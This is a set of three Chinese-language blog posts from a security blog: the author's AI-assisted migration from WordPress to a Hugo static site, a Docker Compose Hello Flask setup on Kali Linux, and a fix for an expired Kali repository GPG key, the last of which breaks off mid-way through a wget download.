[{"content":"前言 Hack543 開站以來，一直跑在自己架設的 VPS 主機上，用 WordPress 寫文章。\n架站很簡單，維護卻是另一回事。每個禮拜，我都要花時間升級佈景主題、更新 VPS 主機的軟體套件，還要留意網站上每個安裝元件的資安漏洞新聞，看看有沒有輪到自己中標。\n長期下來，我有一半的力氣，都花在「讓這台主機能安全地上線」這件事上，而不是寫文章。\n直到 nginx 與 php2shell 的漏洞發生後，我才發覺：在這樣的 AI 時代，找漏洞的速度只會越來越快。\n以個人的 side project 來說，我維護的力氣，已經追不上目前漏洞被發現的速度，更何況很多還是 zero day。\n與其繼續追著漏洞跑，不如換一個維護方式：把網站變成一個沒有資料庫、沒有後台、沒有 PHP 的靜態網站。沒有盲腸，就沒有盲腸炎。\n所以我決定搬家，把 Hack543 從 WordPress 搬到 Hugo 靜態網站。\n封面圖片出處：AI 生成。\n先說清楚：這次搬家主要是 AI 完成的 這一篇要先老實交代：這次搬家，主要是靠 AI 完成的。\n我用的是 AI 程式助理 (Claude Code)。從分析主機狀況、寫轉換程式、建置 Hugo 網站、客製化版面，到用 Playwright 逐篇驗證，大部分的工作都是 AI 做的，連這篇文章的初稿也是 AI 依照我的口吻寫的，我再修改。\n我負責的部分，主要是「做決定」跟「需要主機權限的操作」。下面的步驟裡，凡是我自己動手做的，都會標註 【我手動完成】，其他的就是 AI 做的。\n工作項目 誰做的 決定要搬到 Hugo、佈署到 Cloudflare Pages、草稿與留言不搬 我 開放主機防火牆，讓 AI 的工作環境可以直連 WordPress 主機 我 在主機上安裝 WP-CLI、匯出文章、安裝缺少的 PHP 套件 我（照 AI 給的指令） 打包圖片、把檔案交給 AI 我 診斷錯誤訊息、發現主機憑證過期 AI 撰寫 WordPress 轉 Hugo 的轉換程式 AI 建置 Hugo 網站、首頁、側欄、文章頁範本 AI 安裝 Playwright，逐篇比對內容、檢查版面 AI 版面風格、底色、字型、標題字重等審美決定與驗收 我 發現分享到 Facebook / LINE 的預覽圖不對 我 修正分享預覽圖、舊 sitemap 轉址、加上 Search Console 驗證與 GA AI Search Console 驗證、提供 GA 評估 ID、更新 LINE 預覽、確認 GA 收到資料 我 這篇文章的初稿 AI，我修改 封面圖片 AI 為什麼選 Hugo？ 靜態網站產生器 (Static Site Generator) 有很多選擇，像是 Hugo、Astro、Jekyll 等。最後選了 Hugo，原因很簡單：\n一個執行檔就搞定：Hugo 是 Go 寫的，下載一個執行檔就能用，不用裝 Node.js，也不用擔心 npm 套件的供應鏈攻擊。對資安人來說，相依套件越少，睡得越安穩。 建置速度超快：Hack543 幾十篇文章，建置不到一秒。 程式碼高亮內建：我的文章有一大堆指令跟程式碼，Hugo 在建置時就會幫程式碼上色，不需要再載入 JavaScript。 佈景主題用的是 PaperMod，再由 AI 重做首頁、側欄與文章頁，讓新網站版面看起來清爽。\n搬家步驟 接下來是實際的搬家步驟。\n＊以下操作請在自己的主機上進行，並記得先備份！\nSTEP 1 讓 AI 連得到 WordPress 主機 【我手動完成】\n我的網站前面有 Cloudflare 代管，但 AI 的工作環境需要繞過 Cloudflare，直接連到 WordPress 主機抓資料、比對網頁。\n我不想為此把主機整個打開，所以在主機防火牆上，只開放 AI 工作環境的對外 IP 當作白名單。搬家完成後，這條規則就撤掉了。\nAI 連線時用 curl 的 --resolve 參數，把網域直接指到主機 IP，不需要改 DNS。\n$ curl --resolve hack543.com:443:\u0026lt;主機 IP\u0026gt; https://hack543.com/ 結果 AI 一連上去就發現：主機上的 SSL 憑證，早在兩個月前就過期了。因為前面有 Cloudflare 擋著，我完全沒察覺。\n其實原因很單純：我之前把這台 VPS 關機了快三個月。主機沒開，憑證自動續期的排程當然也不會跑，重新開機以後，憑證早就過期了。\n主機關機，維護也跟著停擺。\nSTEP 2 匯出 WordPress 文章 【我手動完成，照 AI 給的指令】\nWordPress 文章可以用 WP-CLI 的 wp export 指令，匯出成 WXR 格式 (WordPress eXtended RSS) 的 XML 檔案。我在主機上安裝 WP-CLI 之後執行匯出。\n$ cd /var/www/html $ wp export --dir=/tmp/ 結果第一個坑馬上就來了。\nError: Strange wp-config.php file: wp-settings.php is not loaded directly. 這個錯誤訊息看起來像是 wp-config.php 有問題。我把 ls -l 的結果貼給 AI，AI 一看就判斷出原因：wp-config.php 的權限是 400，只有 www-data 讀得到。WP-CLI 讀不到檔案內容，才報了這個看起來八竿子打不著的錯誤。\n$ ls -l wp-config.php -r-------- 1 www-data www-data 4484 Mar 4 2022 wp-config.php wp-config.php 裡面有資料庫密碼，權限設成 400 是對的，不要為了匯出就把權限打開。改用 www-data 的身分執行就好。\n$ sudo -u www-data wp export --dir=/tmp/ 第二個坑接著來。\nPHP Fatal error: Uncaught Error: Class \u0026#34;DOMDocument\u0026#34; not found AI 判斷是主機的 PHP 沒有裝 XML 擴充套件，我裝了以後就解決了。\n$ sudo apt install php-xml 如果你沒有主機的 shell 權限，也可以直接從後台匯出：「工具」→「匯出」→「所有內容」，產出的 XML 檔案跟 wp export 一樣。\nSTEP 3 打包圖片 【我手動完成】\n文章裡的圖片都放在 wp-content/uploads 資料夾裡，直接打包，連同 XML 檔一起交給 AI。\n$ tar czf uploads.tar.gz -C /var/www/html/wp-content uploads 這裡有個資安小提醒：uploads 資料夾裡不是只有圖片！\nAI 在解壓縮之前，先檢查了壓縮檔的內容，發現裡面還混了資安外掛的紀錄檔，內容有登入失敗紀錄、登入成功紀錄等資料。外掛的快取、表單上傳的檔案，也都放在這裡。\n所以 AI 只取出「年份資料夾」裡的圖片，其他的一律不碰。這些東西如果一起推到 GitHub，萬一 repo 哪天設成公開，那就真的是自己把資料送給大家了。\nSTEP 4 轉換成 Markdown\n接下來要把 XML 裡的文章，轉成 Hugo 用的 Markdown 檔案。AI 寫了一支 Python 轉換程式來處理，過程中踩到好幾個坑，這邊特別拿出來分享。\n坑一：XML 解析失敗\nXML 一讀進來就報錯。\nxml.etree.ElementTree.ParseError: not well-formed (invalid token): line 4851, column 43 追進去看，是某一篇文章裡混了一個看不見的退格字元 (Backspace，0x08)，大概是當年從別的地方複製貼上時帶進來的。XML 1.0 規格不允許這種控制字元，解析前先濾掉就好。\n坑二：程式碼區塊吞掉後半篇文章\n有一篇文章轉完之後，後半段的標題、圖片跟內文全部不見了。\n原因是那篇文章在引用區塊 (blockquote) 裡面放了程式碼區塊。轉成 Markdown 時，只有程式碼的第一行有加上引用的 \u0026gt; 符號，後面幾行沒有，結果程式碼區塊永遠沒有結束，把後面整篇文章都吞進去了。\n坑三：整行文字憑空消失\nC2 複刻系列有一篇文章，清單裡有這麼一行：\n- [esp]: 解密完成的字串會放在此變數中 轉完之後，這一行在網頁上直接消失。\n原來 [esp]: 文字 這種寫法，在 Markdown 裡剛好是「連結參照定義」(Link Reference Definition) 的語法，Markdown 把它當成連結定義吃掉了，不會顯示出來。解法是把一般文字裡的 [ 跳脫成 \\[。\n這種 bug 很難用肉眼發現，坑二跟坑三，都是靠下一個步驟抓出來的。\nSTEP 5 用 Playwright 逐篇比對內容\n38 篇文章、161 個程式碼區塊，一篇一篇用眼睛比對，眼睛會脫窗。\n我請 AI 自己安裝 Playwright 來驗證。AI 在工作環境裡裝好 Playwright 跟 Chromium 瀏覽器，連瀏覽器缺少的系統函式庫、顯示中文需要的字型，都自己補齊了。\n接著 AI 寫了一支比對程式，用 Playwright 同時打開舊的 WordPress 跟新的 Hugo 網站，一篇一篇比對：\n標題與段落標題是否一致 程式碼區塊數量，以及每一塊的內容長度是否一致 舊網站的每一段文字，在新網站是否都找得到 圖片是否都正常顯示 手機版與桌面版是否有版面跑掉 第一輪比對就抓出了坑二跟坑三。修到最後，38 篇文章全部通過，161 個程式碼區塊一個都沒少。\nSTEP 6 重做 Hugo 佈景主題\n內容對了，接下來是版面。我請 AI 以開源的 PaperMod 為基礎，重新做了一套 Hugo 的佈景主題，讓新網站版面看起來清爽。\n做好之後，AI 再用 Playwright 檢查每一頁，確認桌面版跟手機版的版面都沒有跑掉。\n程式碼區塊的字型，則是我另外挑的。AI 比較了幾款等寬字型給我看，我選了 JetBrains Mono，0 跟 O、1 跟 l 比較好分辨，看指令比較不會看錯。【這個決定是我做的】\nSTEP 7 保留原本的網址\n搬家最怕的就是網址改變。Google 搜尋結果、別人文章裡的連結，全部都會變成 404。\nHugo 可以設定 permalinks，讓文章網址維持跟 WordPress 一樣的 /文章代稱/ 格式。\npermalinks: page: posts: /:slug/ 分類頁的 /category/分類名稱/、圖片的 /wp-content/uploads/... 路徑，也都照原樣保留。舊的 RSS 網址 /feed/，則用 Cloudflare Pages 的 _redirects 檔案轉址到新的 /index.xml。\n/feed/ /index.xml 301 /author/* / 301 佈署：GitHub 私人 repo + Cloudflare Pages 網站轉好了，接下來要決定放在哪裡。我選的組合是：\nGitHub 私人 repo：放網站原始碼，文章就是 Markdown 檔案，所有修改都有 Git 紀錄 Cloudflare Pages：每次 push 到 GitHub，就自動建置並佈署到全球 CDN 私人 repo 也能接 Cloudflare Pages。連接時，Cloudflare 會請你在 GitHub 安裝 Cloudflare Pages 的 GitHub App，授權範圍記得選「Only select repositories」，只開放部落格這一個 repo，Cloudflare 就看不到其他 repo。\nCloudflare Pages 的建置設定很簡單：\nFramework preset : Hugo Build command : hugo --gc --minify Output directory : public 環境變數 : HUGO_VERSION = 0.168.0 記得用 HUGO_VERSION 指定 Hugo 版本，讓 Cloudflare 建置時用的版本，跟自己電腦上的一樣，不然哪天 Hugo 改版，網站可能就莫名其妙壞掉。\n為什麼選私人 repo？ 理由很簡單：免得麻煩。\n網站本身是公開的，但網站的原始碼不一定要公開。用公開 repo，每次 commit 都要想一下：這個檔案能不能給人看？草稿會不會被看到？Git 紀錄裡有沒有不該出現的東西？\n用私人 repo，這些麻煩就少了一大半，草稿也可以放心 commit。\n不過私人 repo 不是保險箱，該注意的事一樣要注意。\n不要放任何密碼、Token、API Key：Cloudflare 的設定請放在 Cloudflare 後台的環境變數 WordPress 匯出的 XML 跟 uploads 打包檔不要 commit：XML 裡有作者帳號等資訊，uploads 打包檔則可能混了外掛的紀錄檔 commit 的作者 email 用 GitHub 的 noreply 地址：萬一哪天 repo 改成公開，Git 歷史紀錄裡的 email 就會跟著曝光 commit 之前先檢查一次：git status、git diff --cached 養成習慣 如果你想用公開 repo，上面這些就更重要了：推上去的東西全世界都看得到，而且 Git 歷史紀錄會永遠留著。\n另外，AI 也在 Cloudflare Pages 的 _headers 檔案加上了基本的安全性標頭 (Security Headers)。\n/* X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=31536000 切換以後 Cloudflare Pages 上線、網域切換完成，原本的 WordPress 主機就功成身退了。我先撤掉給 AI 用的防火牆白名單，關掉主機對外的 80、443 通訊埠，觀察一陣子沒問題之後，再把主機整個關掉。\n那張過期兩個月的憑證，也終於不用再管它了。\n上線後的收尾：分享預覽圖、Search Console 與 GA 網站上線以後，還有幾件 WordPress 外掛以前默默幫我做掉的事，要自己補回來。\n分享到 Facebook、LINE 的預覽圖變成 logo 上線後分享文章到 Facebook 跟 LINE，結果預覽圖不是文章的封面，而是網站的 logo。【這是我自己發現的】\nAI 檢查文章頁的 og:image 標籤，發現兩個問題：\n新文章的圖片網址錯了：封面圖放在文章自己的資料夾裡，但 PaperMod 佈景主題要多加一行 relative: true，才會在網址前面接上文章路徑。少了這行，網址就變成根本不存在的 https://hack543.com/cover.jpg，Facebook 跟 LINE 抓不到圖，只好拿頁面上的 logo 首頁跟沒有封面的文章，沒有指定分享圖：平台就自己從頁面上挑一張，通常也是挑到 logo cover: image: cover.jpg relative: true # 封面在文章資料夾裡，分享預覽圖需要這行 AI 補上這行，也把它加進新文章的範本，以後寫新文章就不會再忘記。另外做了一張 1200×630 的預設分享圖，給首頁跟沒有封面的頁面用。\n修好之後，平台還記著之前抓到的 logo，要請它們重新抓一次：\nFacebook：用 Sharing Debugger 貼上文章網址，按「Scrape Again」 LINE：以前清除快取用的 Page Poker 已經停用了。我的做法是分享時在網址後面加上 ?v=2 這類參數，LINE 會把它當成新網址重新抓取。【我手動完成】 sitemap 與 Google Search Console Hugo 會自動產生 sitemap.xml，robots.txt 也會指向它。但原本 WordPress 的 SEO 外掛 (Rank Math)，產生的 sitemap 網址是 /sitemap_index.xml。以前提交給 Google 的是舊網址，搬家後就變成 404 了。\nAI 在 _redirects 把舊的 sitemap 網址都轉到新的：\n/sitemap_index.xml /sitemap.xml 301 /post-sitemap.xml /sitemap.xml 301 /page-sitemap.xml /sitemap.xml 301 /category-sitemap.xml /sitemap.xml 301 接著到 Google Search Console 重新提交 sitemap 時，Google 要求重新驗證網站擁有權。\n驗證方式我選的是「HTML 標記」(meta 標籤)。PaperMod 有內建 Search Console 驗證碼的設定，寫在 hugo.yaml 就會輸出到每一頁的 \u0026lt;head\u0026gt;，不用自己改範本：\nparams: analytics: google: SiteVerificationTag: \u0026lt;Search Console 給的驗證碼\u0026gt; 上線後回到 Search Console 按「驗證」，再提交新的 sitemap.xml。【我手動完成】\nGoogle Analytics (GA4) 以前的流量統計，是 WordPress 外掛幫我加的。外掛一拿掉，網站就完全沒有流量統計了。\n我沿用原本 WordPress 時期的 GA4 評估 ID (G- 開頭)，交給 AI 設定。用同一個評估 ID，新舊數據就會接在一起，不會因為搬家而斷掉。Hugo 本身就支援 GA，在 hugo.yaml 加上一段設定就好：\nservices: googleAnalytics: ID: \u0026lt;你的 GA4 評估 ID\u0026gt; PaperMod 只會在正式環境載入 GA，自己在本機預覽時不會被算進去。\nAI 上線後用 Playwright 確認瀏覽器有把資料送到 Google。不過我到 GA 後台的「即時」報表一看，卻沒有資料。原因很可能是 AI 用的是無頭瀏覽器 (Headless Chrome)，GA 會把這種流量當成機器人過濾掉。我改用自己的瀏覽器打開網站，就在即時報表看到自己的瀏覽了。【我手動完成】\n如果你也遇到 GA 沒有資料，先檢查瀏覽器的廣告阻擋工具，它們幾乎都會擋掉 GA。\n盤點：省下的費用與工作 搬完家之後，我把前後的差別盤點了一下。\n省下的費用 項目 搬家前 搬家後 主機 VPS 月租費，每個月都要付 不需要主機，Cloudflare Pages 免費方案 佈景主題 WordPress 付費佈景主題 開源的 PaperMod，免費 原始碼存放 在 VPS 上 GitHub 私人 repo，免費 網域的費用還是要付，這個跑不掉。\n省下的工作 這部分才是我最有感的。以前每個禮拜的例行維護，現在幾乎都不用做了：\n例行工作 搬家前 搬家後 升級 WordPress 版本 每次改版都要升級，還要擔心外掛相容性 沒有 WordPress 更新 WordPress 外掛 (Plugin) 每個外掛都要追版本 沒有外掛 更新佈景主題版本 要跟著更新，還要確認版面沒壞掉 不需要隨時跟進，想更新再更新 OS 套件安全性更新 VPS 的作業系統跟套件要定期更新 沒有主機 追資安漏洞新聞 留意網站上每個安裝元件有沒有漏洞 現在可以喘口氣了 SSL 憑證續期 主機關機，續期就跟著停擺 Cloudflare 自動處理 現在更新網站，就是寫好 Markdown，git push，一兩分鐘後網站就更新了。\n前言說過，以前我有一半的力氣，都花在讓主機能安全地上線。現在這一半的力氣，終於可以拿回來寫文章了。\n結論 這次搬家，我自己動手的部分其實不多，大部分的時間，我是在「做決定」跟「驗收」。\nAI 做得又快又細，很多轉檔細節都是 AI 抓出來的。最讓我有感的是，AI 做了很多以前手動搬家時，自己做起來很累、很繁瑣的事。例如寫程式把文章轉檔、逐篇比對新舊網頁、重做 Hugo 佈景主題，讓新網站版面看起來清爽。這些事在以前沒有 AI 幫忙的時候，幾乎是辦不到的。\n但也不是全部丟給 AI 就好。要不要開防火牆、開給誰、哪些資料不能外流、網站要長什麼樣子，這些還是得自己判斷。AI 的速度很快，人要負責踩煞車跟把關方向。\n現在，Hack543 是一個沒有資料庫、沒有後台、沒有 PHP 的靜態網站了。如果你也有一個 WordPress 網站，也可以考慮這樣做。如果你喜歡我的文章，也請你分享給你的好朋友。\n","permalink":"https://hack543.com/wordpress-to-hugo/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003eHack543 開站以來，一直跑在自己架設的 VPS 主機上，用 WordPress 寫文章。\u003c/p\u003e\n\u003cp\u003e架站很簡單，維護卻是另一回事。每個禮拜，我都要花時間升級佈景主題、更新 VPS 主機的軟體套件，還要留意網站上每個安裝元件的資安漏洞新聞，看看有沒有輪到自己中標。\u003c/p\u003e","title":"再見 WordPress！Hack543 靠 AI 搬家到 Hugo 靜態網站，用 GitHub + Cloudflare Pages 佈署"},{"content":"安裝 Docker 與 docker-compose 程式 Kali Linux 預設沒有安裝 docker 環境，需要手動安裝 docker 套件。\n$ sudo apt install docker-compose docker.io 安裝完成後，如果希望使用者帳號可以操控 docker 指令，可以把使用者帳號加入 docker 群組。\n$ sudo usermod -aG docker $USER. 該帳號登入再登入一次，讓 group 設定生效\n範例專案: Hello Flask 這邊以一個 Hello Flask 專案做為範例，專案設定檔如下，設定 nginx 為前端 reverse proxy ，後端為 flask app 。因測試用途，flask 沒有使用 wsgi 伺服器。\n├── app.py ├── docker-compose.yml ├── Dockerfile.flask ├── Dockerfile.nginx ├── nginx.conf └── requirements.txt docker-compose.yml 內容\nversion: \u0026#39;3.9\u0026#39; services: flask: build: context: . dockerfile: Dockerfile.flask ports: - \u0026#34;5000:5000\u0026#34; networks: - mynetwork nginx: build: context: . dockerfile: Dockerfile.nginx ports: - \u0026#34;8080:8080\u0026#34; networks: - mynetwork extra_hosts: - \u0026#34;host.docker.internal:172.17.0.1\u0026#34; networks: mynetwork: driver: bridge Dockerfile.flask\nFROM python:3.10-slim WORKDIR /app COPY app.py /app/app.py COPY requirements.txt /app/requirements.txt RUN pip install –no-cache-dir -r requirements.txt CMD [“python3”, “app.py”] Dockerfile.nginx\nFROM nginx:alpine COPY nginx.conf /etc/nginx/nginx.conf EXPOSE 8080 CMD [\u0026#34;nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] nginx.conf,nginx 被設定為 reverse proxy ，並Listen Port 8080 ，將來自 Port 8080 的請求轉送至 Port 5000 (flask app)\nworker_processes 1; events { worker_connections 1024; } http { server { listen 8080; server_name localhost; location / { proxy_pass http://host.docker.internal:5000; proxy_set_header Host $host; } } } app.py 內容，存取網站根目錄時，直接回應 Hello Flask 字串\nfrom flask import Flask, Response app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) def main(): response = Response(\u0026#34;Hello Flask\u0026#34;) return response if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=5000) requirements.txt\nFlask==2.1.3 Werkzeug==2.0.3 執行docker-compose build，下載並編譯與設定執行環境\n$ docker-compose build Building flask [+] Building 13.8s (10/10) FINISHED docker:default =\u0026gt; [internal] load build definition from Dockerfile.flask 0.0s =\u0026gt; =\u0026gt; transferring dockerfile: 227B 0.0s =\u0026gt; [internal] load metadata for docker.io/library/python:3.10-slim 3.5s =\u0026gt; [internal] load .dockerignore 0.0s =\u0026gt; =\u0026gt; transferring context: 2B 0.0s =\u0026gt; [1/5] FROM docker.io/library/python:3.10-slim@sha256:e1013c40c02a7875ae30c78c69b68ea7bee31713e8ac1c0f5469c1206258d6d7 5.0s =\u0026gt; =\u0026gt; resolve docker.io/library/python:3.10-slim@sha256:e1013c40c02a7875ae30c78c69b68ea7bee31713e8ac1c0f5469c1206258d6d7 0.0s =\u0026gt; =\u0026gt; sha256:5cc9686f2aa90263bd53a0ee75237af8b54c307b443c5185997aaab2bfa07f73 15.65MB / 15.65MB 4.3s =\u0026gt; =\u0026gt; sha256:5d66a27e733ac4f56a6f6669d01e6aed278e72919f683a73238cdf2ef90dbd31 249B / 249B 1.3s =\u0026gt; =\u0026gt; sha256:e1013c40c02a7875ae30c78c69b68ea7bee31713e8ac1c0f5469c1206258d6d7 9.13kB / 9.13kB 0.0s =\u0026gt; =\u0026gt; sha256:4fc77722db8bd186386ebfe056989b2ba1c8a602ef1c46ec461fa49a9bb4c667 1.75kB / 1.75kB 0.0s =\u0026gt; =\u0026gt; sha256:abe836e1b93b4b373cd684fa406a4dea9920e7420349e7747b869e3522f06f1c 5.37kB / 5.37kB 0.0s =\u0026gt; =\u0026gt; sha256:5e3380732964a9fa4272d7d4ab36e5b9f132b331f3bdbb80c3b6e55fb8cc6be2 3.51MB / 3.51MB 1.2s =\u0026gt; =\u0026gt; extracting sha256:5e3380732964a9fa4272d7d4ab36e5b9f132b331f3bdbb80c3b6e55fb8cc6be2 0.1s =\u0026gt; =\u0026gt; extracting sha256:5cc9686f2aa90263bd53a0ee75237af8b54c307b443c5185997aaab2bfa07f73 0.6s =\u0026gt; =\u0026gt; extracting sha256:5d66a27e733ac4f56a6f6669d01e6aed278e72919f683a73238cdf2ef90dbd31 0.0s =\u0026gt; [internal] load build context 0.0s =\u0026gt; =\u0026gt; transferring context: 339B 0.0s =\u0026gt; [2/5] WORKDIR /app 0.1s =\u0026gt; [3/5] COPY app.py /app/app.py 0.0s =\u0026gt; [4/5] COPY requirements.txt /app/requirements.txt 0.0s =\u0026gt; [5/5] RUN pip install --no-cache-dir -r requirements.txt 4.9s =\u0026gt; exporting to image 0.1s =\u0026gt; =\u0026gt; exporting layers 0.1s =\u0026gt; =\u0026gt; writing image sha256:1ecf4090d56ce8d916d633fff7b366fcc7bb5fde47519cfb8085e9d2909f067d 0.0s =\u0026gt; =\u0026gt; naming to docker.io/library/docker-compose-test_flask 0.0s Building nginx [+] Building 2.0s (7/7) FINISHED docker:default =\u0026gt; [internal] load build definition from Dockerfile.nginx 0.0s =\u0026gt; =\u0026gt; transferring dockerfile: 148B 0.0s =\u0026gt; [internal] load metadata for docker.io/library/nginx:alpine 1.9s =\u0026gt; [internal] load .dockerignore 0.0s =\u0026gt; =\u0026gt; transferring context: 2B 0.0s =\u0026gt; [internal] load build context 0.0s =\u0026gt; =\u0026gt; transferring context: 311B 0.0s =\u0026gt; CACHED [1/2] FROM docker.io/library/nginx:alpine@sha256:65645c7bb6a0661892a8b03b89d0743208a18dd2f3f17a54ef4b76fb8e2f2a10 0.0s =\u0026gt; [2/2] COPY nginx.conf /etc/nginx/nginx.conf 0.0s =\u0026gt; exporting to image 0.0s =\u0026gt; =\u0026gt; exporting layers 0.0s =\u0026gt; =\u0026gt; writing image sha256:b81aa9c9449bb2de5b960d3b5bd6b457dfee00f353171a1deda9c713a51f2225 0.0s =\u0026gt; =\u0026gt; naming to docker.io/library/docker-compose-test_nginx 執行 Hello Flask 專案 執行 docker-compose up 指令\n$ docker-compose up Creating network \u0026#34;docker-compose-test_mynetwork\u0026#34; with driver \u0026#34;bridge\u0026#34; Creating docker-compose-test_nginx_1 ... done Creating docker-compose-test_flask_1 ... done Attaching to docker-compose-test_flask_1, docker-compose-test_nginx_1 nginx_1 | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration nginx_1 | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/ nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh nginx_1 | 10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf nginx_1 | 10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf nginx_1 | /docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh nginx_1 | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh nginx_1 | /docker-entrypoint.sh: Configuration complete; ready for start up flask_1 | * Serving Flask app \u0026#39;app\u0026#39; (lazy loading) flask_1 | * Environment: production flask_1 | WARNING: This is a development server. Do not use it in a production deployment. flask_1 | Use a production WSGI server instead. flask_1 | * Debug mode: off flask_1 | * Running on all addresses. flask_1 | WARNING: This is a development server. Do not use it in a production deployment. flask_1 | * Running on http://172.18.0.3:5000/ (Press CTRL+C to quit) 測試 Hello Flask 網站 使用 curl 連接本地 Port 8080，確認回應\n$ curl http://localhost:8080 Hello Flask 結論 對於時常需要搭設暫時性的測試平台，docker 提供了一個簡便與快速的方式，利用 docker-compose 設定檔，更可以集合多個 Dockerfile，一次設定與執行多個 Docker container 環境，不啻為測試環境的好幫手。\n","permalink":"https://hack543.com/kali-docker-compose/","summary":"\u003ch2 id=\"安裝-docker-與-docker-compose-程式\"\u003e安裝 Docker 與 docker-compose 程式\u003c/h2\u003e\n\u003cp\u003eKali Linux 預設沒有安裝 \u003ca href=\"https://www.docker.com/\"\u003edocker\u003c/a\u003e 環境，需要手動安裝 docker 套件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo apt install docker-compose docker.io\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安裝完成後，如果希望使用者帳號可以操控 docker 指令，可以把使用者帳號加入 docker 群組。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo usermod -aG docker $USER.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e該帳號登入再登入一次，讓 group 設定生效\u003c/p\u003e","title":"在 Kali Linux 安裝 docker 與 docker-compose ，並執行測試環境，以 Hello Flask 專案為例"},{"content":"前言 Kali Linux 執行 apt update 遇到如下問題，大意是此把 GPG public key (ED444FF07D8D0BF6) expired (過期)，導致數位簽章驗證有問題，這篇文章教你如何解決此問題。\n$ sudo apt update [sudo] password for kali: Get:1 http://free.nchc.org.tw/kali kali-rolling InRelease [41.5 kB] Err:1 http://free.nchc.org.tw/kali kali-rolling InRelease The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository \u0026lt;devel@kali.org\u0026gt; Reading package lists... Done W: GPG error: http://free.nchc.org.tw/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository \u0026lt;devel@kali.org\u0026gt; E: The repository \u0026#39;http://http.kali.org/kali kali-rolling InRelease\u0026#39; is not signed. N: Updating from such a repository can\u0026#39;t be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. 封面圖片出處： Kali Linux 2021.2 版本預設桌面。\n問題檢視與解題思路 STEP 1 檢視 apt-key list，發現此把 pub key(ED444FF07D8D0BF6) 的效期至 2025/1/24，確認已過期 (expired)。\n$ apt-key list ... ... /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg ----------------------------------------------- pub rsa4096 2012-03-05 [SC] [expired: 2025-01-24] 44C6 513A 8E4F B3D3 0875 F758 ED44 4FF0 7D8D 0BF6 uid [ expired] Kali Linux Repository \u0026lt;devel@kali.org\u0026gt; STEP 2 檢視 /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg 檔案，發現是軟連結至/usr/share/keyrings/kali-archive-keyring.gpg 檔案。\n┌──(kali㉿kali)-[/etc/apt/trusted.gpg.d] └─$ ls -alFh total 76K drwxr-xr-x 2 root root 4.0K Aug 8 2022 ./ drwxr-xr-x 8 root root 4.0K Aug 8 2022 ../ -rw-r--r-- 1 root root 8.5K Feb 25 2021 debian-archive-bullseye-automatic.gpg -rw-r--r-- 1 root root 8.6K Feb 25 2021 debian-archive-bullseye-security-automatic.gpg -rw-r--r-- 1 root root 2.4K Feb 25 2021 debian-archive-bullseye-stable.gpg -rw-r--r-- 1 root root 8.0K Feb 25 2021 debian-archive-buster-automatic.gpg -rw-r--r-- 1 root root 8.0K Feb 25 2021 debian-archive-buster-security-automatic.gpg -rw-r--r-- 1 root root 2.3K Feb 25 2021 debian-archive-buster-stable.gpg -rw-r--r-- 1 root root 7.3K Feb 25 2021 debian-archive-stretch-automatic.gpg -rw-r--r-- 1 root root 7.3K Feb 25 2021 debian-archive-stretch-security-automatic.gpg -rw-r--r-- 1 root root 2.3K Feb 25 2021 debian-archive-stretch-stable.gpg lrwxrwxrwx 1 root root 44 Aug 8 2022 kali-archive-keyring.gpg -\u0026gt; /usr/share/keyrings/kali-archive-keyring.gpg STEP 3 而 /usr/share/keyrings/kali-archive-keyring.gpg 檔案，是由 kali-archive-keyring 套件所安裝產生。\n$ dpkg -L kali-archive-keyring /. /usr /usr/share /usr/share/doc /usr/share/doc/kali-archive-keyring /usr/share/doc/kali-archive-keyring/changelog.gz /usr/share/doc/kali-archive-keyring/copyright /usr/share/keyrings /usr/share/keyrings/kali-archive-keyring.gpg 解法 手動安裝最新版本的 kali-archive-keyring 套件，到 kali.org 的套件庫，去找最接近該年度的最新版本 kali-archive-keyring 套件，此處範例為 2024 版本。\n$ wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2024.1_all.deb --2025-02-19 22:55:05-- https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2024.1_all.deb Resolving http.kali.org (http.kali.org)... 18.211.24.19 Connecting to http.kali.org (http.kali.org)|18.211.24.19|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2024.1_all.deb [following] --2025-02-19 22:55:06-- https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2024.1_all.deb Resolving kali.download (kali.download)... 104.17.253.239, 104.17.254.239, 2606:4700::6811:feef, ... 